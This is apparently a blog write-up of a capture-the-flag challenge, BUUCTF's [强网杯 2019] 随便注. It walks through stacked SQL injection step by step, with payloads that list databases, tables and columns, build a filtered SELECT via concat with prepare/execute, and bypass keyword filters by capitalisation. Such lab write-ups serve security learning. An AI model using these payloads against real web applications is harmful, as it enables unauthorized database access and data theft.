• BUUCTF[强网杯 2019]随便注(堆叠注入)


    场景打开如下,输入1提交,显示如下

    <1>输入1'报错,输入1' #显示正常,确定存在sql注入

    <2>输入1' union select 1#报错如下,发现存在关键字过滤。由于preg_match()函数返回的值是匹配指定字符串的次数,所以双写绕过无效;正则中的/i模式是忽略大小写,所以大小写绕过无效。

     <3>尝试堆叠注入1';show databases # 查数据库名,成功

    <4>继续查询表名:1';show tables #

    <5>查询words表字段名:1';show columns from `words` #  ,注意这里有个小知识点,就是表名要用`  `(反引号)引起来。

     <6>查询1919810931114514表字段名:1';show columns from `1919810931114514` #  ,发现flag字段。

     

    <7>堆叠注入到这里就没办法了,因为堆叠注入查询不到字段的具体值。

    下面使用Mysql预处理语句:

    • 1.prepare:准备一条sql语句,并分配给这个语句一个名字供之后使用。
    • 2.execute:执行该语句
    • 3.deallocate prepare:释放语句
    set @a=concat("sel","ect flag from `1919810931114514`");  
    prepare inject from @a;  //给这条语句起名inject
    execute inject;             //执行该语句
    

    <8>尝试注入 1';set @a=concat("sel","ect flag from `1919810931114514`");prepare inject from @a;execute inject; # ,结果报错,从报错中可知,过滤了set和prepare关键字

    <9>大写绕过过滤 1';Set @a=concat("sel","ect flag from `1919810931114514`");Prepare inject from @a;execute inject; # ,成功拿到flag。

    参考:https://www.cnblogs.com/hello-there/p/12794725.html

  • 相关阅读:
    信号量
    队列 Queue JoinableQueue
    process 多进程写法 multiprocessing
    socketserver
    scokte tcp/ip
    线程池或进程池的回调函数
    gevent 真正的协程
    巨蟒python全栈开发flask12项目开始4
    巨蟒python全栈开发flask11项目开始3
    巨蟒python全栈开发flask10 项目开始2
  • 原文地址:https://www.cnblogs.com/zhengna/p/15869137.html
Copyright © 2020-2023  润新知